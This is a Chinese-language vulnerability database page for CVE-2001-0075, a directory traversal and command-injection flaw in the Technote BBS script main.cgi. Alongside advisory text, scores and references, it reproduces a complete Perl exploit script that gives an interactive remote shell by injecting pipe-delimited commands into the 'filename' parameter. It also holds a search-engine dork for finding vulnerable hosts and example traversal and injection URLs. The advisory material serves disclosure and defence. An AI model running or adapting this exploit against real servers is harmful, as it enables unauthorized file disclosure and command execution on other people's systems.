CVE-2001-0075
CVSS5.0
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-05 16:23:12
NMCOES    

[原文]Directory traversal vulnerability in main.cgi in Technote allows remote attackers to read arbitrary files via a .. (dot dot) attack in the filename parameter.


[CNNVD]Technote 'filename'变量导致文件泄露漏洞(CNNVD-200102-050)

        
        Technote是韩国的Technote公司( http://www.technote.co.kr )开发的BBS系统。
        此BBS实现上存在一个输入验证漏洞,远程攻击者可能利用此漏洞读取服务器上的任意文件。
        其中一个脚本main.cgi接受一个名为"filename"的参数。该变量的值由远程提供,并被作为文件名传递给open( )函数,但它并未检查其中的"../"串。结果,恶意的远程用户可以察看系统中Web服务器进程能够读取的任何文件。这可能泄漏敏感信息并有助于进一步攻击受害主机。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:technote_inc:technote:pro
cpe:/a:technote_inc:technote:2001
cpe:/a:technote_inc:technote:2000

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0075
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0075
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-050
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2156
(VENDOR_ADVISORY)  BID  2156
http://www.securityfocus.com/archive/1/153212
(VENDOR_ADVISORY)  BUGTRAQ  20001227 [Ksecurity Advisory] main.cgi in technote

- 漏洞信息

Technote 'filename'变量导致文件泄露漏洞
中危 输入验证
2001-02-12 00:00:00 2005-10-20 00:00:00
远程  
        
        Technote是韩国的Technote公司( http://www.technote.co.kr )开发的BBS系统。
        此BBS实现上存在一个输入验证漏洞,远程攻击者可能利用此漏洞读取服务器上的任意文件。
        其中一个脚本main.cgi接受一个名为"filename"的参数。该变量的值由远程提供,并被作为文件名传递给open( )函数,但它并未检查其中的"../"串。结果,恶意的远程用户可以察看系统中Web服务器进程能够读取的任何文件。这可能泄漏敏感信息并有助于进一步攻击受害主机。
        

- 公告与补丁

        厂商补丁:
        Technote
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.technote.co.kr

- 漏洞信息 (20523)

Technote 2000/2001 'filename' Parameter Command Execution And File Disclosure Vulnerability (EDBID:20523)
cgi remote
2000-12-27 Verified
0 Ksecurity
N/A [点击下载]
source: http://www.securityfocus.com/bid/2156/info

Technote Inc. offers a multi-communication Package that includes a web board type of service.

A script that ships with Technote, 'main.cgi', accepts a parameter called 'filename'. This remotely supplied variable is used as a filename when the open() function is called. In addition to allowing the attacker to specify a file to be opened remotely, the variable is not checked for '../' character sequences. As a result, a malicious remote user can specify any file on the file system as this variable (by using ../ sequences followed by its real path), which will be opened by the script. Its contents will then be disclosed to the attacker.

It is reported that this issue could be leveraged to execute arbitrary commands on the affected computer as well. This issue is due to a failure of the application to properly sanitize the offending URI parameter.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and arbitrary system command execution, possibly assisting in further attacks against the affected computer.

Udate: This vulnerability has been updated; previously it was classified strictly as a file disclosure vulnerability. New information has become available that suggests that this issue may be leveraged to execute arbitrary commands on the affected computer as well. 

##############################################
# Technote Inc. from Korea Command Excution
# Spawn bash style Shell with webserver uid
# This Script is currently under development
##############################################

use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my $pdf;
my $url1;
my $number;
my $url2;
my $shiz;
my @results;
my $probe;
my @U;
$U[1] = "/technote/main.cgi/";
&intro;
&scan;
&choose;
&command;
&exit; 
sub intro {
&help;
&host;
&server;
sleep 1;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$shiz = "|";
print "\nPort (enter to accept 80): ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
print "\nInsert found document file : ";
$pdf=<STDIN>;
chomp $pdf;
$url1="?down_num=";
print "\nInsert down number : ";
$number=<STDIN>;
chomp $number;
$url2="&board=kleadata1&command=down_load&filename=sanction.pdf.txt";
}; 
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
 $output = $results[$X];
 if (defined $output){
 if ($output =~/apache/){ $webserver = "apache" };
 };
};
if ($webserver ne "apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK";
 };  
};  
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="ls";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
         $status = "vulnerable";
         };
 };
if ($flag eq "0") { 
}else{
     };
};
if ($status eq "not_vulnerable"){

    };
}; 
sub choose {

my $choice="1";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
}; 
sub other {
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};  
sub command {
while ($command !~/quit/i) {
print "[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; 
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  
sub connect {
my $connection = IO::Socket::INET->new (
    Proto => "tcp",
    PeerAddr => "$host",
    PeerPort => "$port",
    ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$pdf$url1$number$url2$shiz$command$shiz HTTP/1.1\r\nHost: $host\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";
};

while ( <$connection> ) { 
   @results = <$connection>;
    };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  
sub output{
my $display;
if ($probe eq "string") {
   my $X;
   for ($X=0; $X<=10; $X++) {
   $display = $results[$X];
   if (defined $display){print "$display";};
    };
   }else{
   foreach $display (@results){
       print "$display";
    };
                          };
};  
sub exit{
print "\n\n\n ORP";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
        Technote Inc. from Korea Command Excution
        Command Execution Vulnerability by SPABAM 2004" ;
print "\n http://www.securityfocus.com/bid/2156
";
print "\n Technote Exploit v1.2";
print "\n \n sugg.. google it: allinurl:technote/main.cgi*filename=*";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n Command: SCAN URL HELP QUIT";
print "\n\n\n\n\n\n\n\n\n\n\n";
};
		

- 漏洞信息

481
Technote main.cgi filename Parameter Traversal Arbitrary File Access
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality
Exploit Public

- 漏洞描述

- 时间线

2000-12-27 Unknow
2000-12-27 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Technote Inc Technote 'filename' Parameter Command Execution And File Disclosure Vulnerability
Input Validation Error 2156
Yes No
2000-12-27 12:00:00 2009-07-11 04:46:00
Discovered and posted to Bugtraq by Ksecurity <ksecurity@iland.co.kr> on Dec 27, 2000.

- 受影响的程序版本

Technote Technote Pro
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0
Technote Technote 2001
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0
Technote Technote 2000
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0

- 漏洞讨论

Technote Inc. offers a multi-communication Package that includes a web board type of service.

A script that ships with Technote, 'main.cgi', accepts a parameter called 'filename'. This remotely supplied variable is used as a filename when the open() function is called. In addition to allowing the attacker to specify a file to be opened remotely, the variable is not checked for '../' character sequences. As a result, a malicious remote user can specify any file on the file system as this variable (by using ../ sequences followed by its real path), which will be opened by the script. Its contents will then be disclosed to the attacker.

It is reported that this issue could be leveraged to execute arbitrary commands on the affected computer as well. This issue is due to a failure of the application to properly sanitize the offending URI parameter.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and arbitrary system command execution, possibly assisting in further attacks against the affected computer.

Udate: This vulnerability has been updated; previously it was classified strictly as a file disclosure vulnerability. New information has become available that suggests that this issue may be leveraged to execute arbitrary commands on the affected computer as well.

- 漏洞利用

The following example has been provided by Ksecurity &lt;ksecurity@iland.co.kr&gt;:
http://www.example.com/technote/main.cgi/oops?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../main.cgi

The following example has been provided for the code execution issue:
http://www.example.com/.../shop.pdf?down_num=5466654&amp;board=rebarz99&amp;command=down_load&amp;filename=rb9.txt|id|

An exploit written in Perl is available:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站